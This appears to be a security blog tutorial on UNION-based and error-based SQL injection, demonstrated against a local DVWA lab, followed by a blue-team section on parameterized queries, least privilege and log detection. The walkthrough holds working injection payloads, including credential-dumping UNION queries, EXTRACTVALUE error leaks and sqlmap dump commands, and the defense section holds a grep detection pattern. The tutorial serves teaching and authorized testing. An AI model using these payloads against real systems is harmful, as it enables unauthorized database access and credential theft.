SQL Injection: The Complete Guide to UNION and Error-Based Exploitation

Web Exploitation
2026.02.11
Time it takes to read this article 5 minutes.

Legal & Ethical Disclaimer
This article is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to test (e.g., a lab, a bug-bounty program within its scope, or a signed engagement). Unauthorized SQL injection is a crime under laws such as the U.S. CFAA and the UK Computer Misuse Act.

Introduction / Overview

SQL injection (SQLi) remains one of the most impactful web vulnerabilities, sitting at the top of the OWASP Top 10 under A03:2021 – Injection. Despite being decades old, it still shows up in modern code wherever user input is concatenated directly into a SQL query. A single injectable parameter can let an attacker dump entire databases, bypass authentication, or pivot toward remote code execution.

In this guide you'll learn how to confirm an injection point, extract data with UNION-based and error-based techniques, and walk the database schema using information_schema. We finish with a thorough Detection & Defense section so you can fix the root cause, not just patch a symptom.

How It Works / Background

SQL injection happens when untrusted input changes the structure of a query rather than just its data. Consider a classic vulnerable lookup:

SELECT id, title, body FROM articles WHERE id = '$id';
SQL

If $id is taken from the URL and concatenated unsanitized, supplying 1' breaks the string literal and the database returns a syntax error — your first signal. From there, two extraction families dominate:

  • UNION-based: append a UNION SELECT to graft attacker-chosen columns onto the original result set. Output is rendered directly in the page.
  • Error-based: coerce the database into leaking data inside an error message (e.g., MySQL EXTRACTVALUE/UPDATEXML, or CAST errors in PostgreSQL/MSSQL). Useful when results aren't reflected but errors are.

When the page returns neither data nor errors, you fall back to blind techniques (boolean and time-based), which I cover in a separate post.

Prerequisites / Lab Setup

Spin up a deliberately vulnerable target. DVWA or OWASP Juice Shop both work; here we use DVWA on Docker:

docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Browse to http://localhost/ , log in admin/password,
# set DVWA Security to "low", and open the "SQL Injection" page.
Bash

Tools you'll want on Kali/ParrotOS:

# Burp Suite for intercepting requests
burpsuite &
# sqlmap is pre-installed on Kali
sqlmap --version
Bash

Attack Walkthrough / PoC

Step 1 — Confirm the injection point

The DVWA "User ID" form submits ?id=1&Submit=Submit. Test for injection:

# Single quote should break the query and trigger an error or empty result
curl -s "http://localhost/vulnerabilities/sqli/?id=1'&Submit=Submit" \
  -b "PHPSESSID=<your-session>; security=low"
Bash

A SQL error in the response confirms the parameter is injectable.

Step 2 — Determine the column count (ORDER BY)

UNION requires both queries to return the same number of columns. Increment ORDER BY until it errors:

1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- -   /* error here means there are 2 columns */
SQL

The trailing -- - is a comment that neutralizes the rest of the original query. (The space after -- is mandatory in MySQL.)

Step 3 — UNION-based extraction

With two columns confirmed, inject a UNION and use the fields as output slots:

1' UNION SELECT user(), version()-- -
SQL

Now enumerate tables via the metadata catalog. information_schema is an ANSI-standard database present in MySQL, MariaDB, PostgreSQL, and MSSQL that describes every database object:

-- list tables in the current database
1' UNION SELECT table_name, table_schema
   FROM information_schema.tables
   WHERE table_schema=database()-- -

-- list columns of the 'users' table
1' UNION SELECT column_name, data_type
   FROM information_schema.columns
   WHERE table_name='users'-- -

-- dump credentials
1' UNION SELECT user, password FROM users-- -
SQL

GROUP_CONCAT() (MySQL) collapses many rows into one field when only a couple of output slots are available:

1' UNION SELECT GROUP_CONCAT(user,0x3a,password SEPARATOR 0x0a), NULL FROM users-- -
SQL

0x3a is a hex-encoded colon — handy for separating fields without tripping quote filters.

Step 4 — Error-based extraction (no visible UNION output)

When results aren't reflected but the server echoes DB errors, force data into the error string. On MySQL/MariaDB:

1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))-- -
SQL

EXTRACTVALUE expects valid XPath; the ~ (0x7e) prefix makes the subquery result an invalid XPath, so MySQL prints it verbatim in the error. UPDATEXML(1, CONCAT(0x7e,(SELECT database()),0x7e), 1) works the same way. On MSSQL, a CONVERT(int, (SELECT @@version)) type-mismatch leaks the value identically.

Step 5 — Automate with sqlmap

Once you understand the manual flow, sqlmap accelerates safe, repeatable testing:

sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=<sess>; security=low" \
  --batch --dbs

# enumerate then dump a specific table
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=<sess>; security=low" \
  -D dvwa -T users --dump --technique=UE
Bash

--technique=UE restricts to UNION and Error-based. Always keep raw requests and timestamps for your report.

Attack Flow Diagram

SQL Injection: The Complete Guide to UNION and Error-Based Exploitation diagram 1

Diagram: confirm the injection with a quote, count columns via ORDER BY, then extract data through UNION or, when only errors are reflected, via error-based functions.

Detection & Defense (Blue Team)

Stopping SQLi is a solved engineering problem; the fix is consistent discipline.

1. Parameterized queries / prepared statements (primary control). Never concatenate input into SQL. Bind parameters so input can never alter query structure:

# Python (psycopg2) — safe
cur.execute("SELECT id, title FROM articles WHERE id = %s", (user_id,))
Python
// PHP PDO — safe
$stmt = $pdo->prepare("SELECT id, title FROM articles WHERE id = :id");
$stmt->execute(['id' => $userId]);
PHP

2. Least privilege. The application's DB account should not own DROP, FILE, or access to information_schema beyond what it needs. Revoke FILE to block LOAD_FILE/INTO OUTFILE abuse.

3. Allowlist validation & ORM use. Validate types (cast IDs to integers) and prefer well-configured ORMs (e.g., SQLAlchemy, Hibernate) that parameterize by default. Avoid building dynamic ORDER BY/identifier names from input — those can't be bound and need strict allowlisting.

4. WAF as defense-in-depth (not a substitute). Deploy ModSecurity with the OWASP Core Rule Set to catch common payloads:

# Detect injection attempts in access logs (quick triage)
grep -Ei "union(.*)select|information_schema|extractvalue|updatexml|order by [0-9]+" \
  /var/log/nginx/access.log
Bash

5. Detection & monitoring. This maps to MITRE ATT&CK T1190 (Exploit Public-Facing Application). Alert on database errors surfacing to clients, spikes in UNION/information_schema strings, and abnormal query volume. Disable verbose SQL error messages in production (display_errors = Off in PHP) so error-based extraction has nothing to leak.

6. Static & dynamic testing in CI. Run SAST (e.g., Semgrep rules for string-built SQL) and DAST against staging so regressions are caught before release.

For related lateral-movement and post-exploitation reading, see Command Injection: Complete Guide, Authentication Bypass Techniques, and Blind SQL Injection Deep Dive.

Conclusion

UNION-based and error-based SQL injection let an attacker pivot from a single broken quote to a full database dump by abusing information_schema to walk the schema. The offensive workflow is mechanical once you understand column counting and output slots. The defensive story is equally clear: parameterized queries eliminate the root cause, and least privilege plus monitoring contain whatever slips through. Build both muscles — confirm you can find it, and confirm you can stop it.

References

Comments

Copied title and URL